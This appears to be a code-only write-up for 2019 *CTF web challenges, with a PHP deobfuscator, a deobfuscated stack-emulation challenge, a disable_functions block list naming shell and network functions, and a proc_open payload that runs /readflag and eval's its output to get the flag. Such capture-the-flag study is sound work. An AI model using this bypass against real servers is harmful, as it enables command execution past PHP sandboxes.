2019*CTF之Web部分题解

<?php
include 'index.php';	// index.php为被加密的文件

function replaceString($match){
    global $O;
    $index = -1;
    if(false !== strpos($match[1], 'x')){
        $index = hexdec($match[1]);
    }
    else{
        $index = $match[1];
    }
    if( function_exists($O[$index]) || class_exists($O[$index]) || defined($O[$index]) ){
        return $O[$index];
    }
    else{
        return "'".addslashes($O[$index])."'";
    }

}

$encrypto_string = file_get_contents('index.php');
$encrypto_string = preg_replace_callback('/\$GLOBALS[\[\{]O0[\]\}][\[\{](\w{1,15})[\]\}]/','replaceString',$encrypto_string);
$decrypto_string = preg_replace_callback('/\$[O0]*[\[\{](\w{2,15})[\]\}]/','replaceString',$encrypto_string);
file_put_contents('decrypted.php', $decrypto_string);
?>

<?php
error_reporting(E_ALL^E_NOTICE);
define('O0', 'O');
require_once 'sandbox.php';

$seed = time();
srand($seed);
define(INS_OFFSET,rand(0x0000,0xffff));

$regs = array(
    'eax'=>0x0,
    'ebp'=>0x0,
    'esp'=>0x0,
    'eip'=>0x0,
);

function aslr(&$O00,$O0O){
    $O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;
}
$func_ = array_flip($func);
array_walk($func_,aslr);
$plt = array_flip($func_);


function handle_data($OOO){
    $OO0O=&$GLOBALS{O0};
    $O000 = strlen($OOO);
    $O00O = $O000/0x000004+(0x001*($O000%0x000004));
    $O0O0 = str_split($OOO,0x000004);
    $O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,'\0');

    foreach ($O0O0  as  $O0OO=>&$OO00){
        $OO00 = strrev(bin2hex($OO00));
    }
    return $O0O0;
}

function gen_canary(){
    $O0O00=&$GLOBALS{O0};
    $OOOO = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    $O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];
    $O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];
    $O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];
    $O00OO = '\0';
    return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];
}
$canary = gen_canary();
$canarycheck = $canary;

function check_canary(){
    global $canary;
    global $canarycheck;
    if($canary != $canarycheck){
        die('emmmmmm...Don\'t attack me!');
    }
}

Class O0OO0{
    private  $ebp,$stack,$esp;

    public  function __construct($O0OOO,$OO000) {
        $OO00O=&$GLOBALS{O0};
        $this->stack = array();
        global $regs;
        $this->ebp = &$regs['ebp'];
        $this->esp = &$regs['esp'];
        $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

        global $canary;
        $this->stack[$this->ebp - 0x4] = &$canary;
        $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
        $this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);
        $this->stack[$this->ebp + 0x4] = dechex($O0OOO);

        if($OO000 != NULL)
            $this->{'pushdata'}($OO000);
    }

    public  function pushdata($OO0O0){ 
        $OOO00=&$GLOBALS{O0};
        $OO0O0 = handle_data($OO0O0);
        for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
            $this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
            //no args in my stack haha
            check_canary();
        }
    }

    public  function recover_data($OOO0O){
        $OOOO0=&$GLOBALS{O0};
        return hex2bin(strrev($OOO0O));
    }

    public  function outputdata(){
        $O0000O=&$GLOBALS{O0};
        global $regs;

        echo 'root says: ';
        while(0x001){
            if($this->esp == $this->ebp-0x4)
                break;
            $this->{'pop'}('eax');
            $OOOOO = $this->{'recover_data'}($regs['eax']);
            $O00000 = explode('\0',$OOOOO);
            echo $O00000[0];

            if(count($O00000)>0x001){
                break;
            }
        }
    }

    public  function ret(){
        $O000O0=&$GLOBALS{O0};
        $this->esp = $this->ebp;
        $this->{'pop'}('ebp');
        $this->{'pop'}('eip');
        $this->{'call'}();
    }

    public  function get_data_from_reg($O000OO){
        $O00OO0=&$GLOBALS{O0};
        global $regs;
        $O00O00 = $this->{'recover_data'}($regs[$O000OO]);
        $O00O0O = explode('\0',$O00O00);
        return $O00O0O[0];
    }

    public  function call(){
        $O0OO00=&$GLOBALS{O0};
        global $regs;
        global $plt;
        $O00OOO = hexdec($regs['eip']);

        if(isset($_REQUEST[$O00OOO])) {
            $this->{'pop'}('eax');
            $O0O000 = (int)$this->{'get_data_from_reg'}('eax');
            $O0O00O = array();
            for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
                $this->{'pop'}('eax');
                $O0O0OO = $this->{'get_data_from_reg'}('eax');
                array_push($O0O00O,$_REQUEST[$O0O0OO]);
            }
            call_user_func_array($plt[$O00OOO],$O0O00O);
        }
        else {
            call_user_func($plt[$O00OOO]);
        }
    }

    public  function push($O0OO0O){
        $O0OOOO=&$GLOBALS{O0};
        global $regs;
        $O0OOO0 = $regs[$O0OO0O];
        if( hex2bin(strrev($O0OOO0)) == NULL ) die('data error');
        $this->stack[$this->esp] = $O0OOO0;
        $this->esp -= 0x000004;
    }

    public  function pop($OO0000){
        global $regs;
        $regs[$OO0000] = $this->stack[$this->esp];
        $this->esp += 0x000004;
    }

    public  function __call($OO000O,$OO00O0){
        check_canary();
    }

}class_alias(O0OO0,stack,0);print_R(O0OO0);print_R(stack);

if(isset($_POST['data'])) {
        $phpinfo_addr = array_search(phpinfo, $plt);
        $gets = $_POST['data'];
        $main_stack = new stack($phpinfo_addr, $gets);
        echo '--------------------output---------------------</br></br>';
        $main_stack->{'outputdata'}();
        echo '</br></br>------------------phpinfo()------------------</br>';
        $main_stack->{'ret'}();
}

file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv

<?php
$descriptorspec = array(
    0 => array("pipe", "r"),  // 标准输入，子进程从此管道中读取数据
    1 => array("pipe", "w"),  // 标准输出，子进程向此管道中写入数据
    2 => array("file", "/tmp/error-output.txt", "a") // 标准错误，写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = trim($question);
    var_dump($question);
    eval('$result = '.$question.';');   // 计算问题结果
    fwrite($pipes[0], $result);         // 回答程序问题
    fclose($pipes[0]);
    var_dump($result);

    // $flag = stream_get_contents($pipes[1]);// getflag
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);

    fclose($pipes[1]);
    var_dump($flag);
    
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}

?>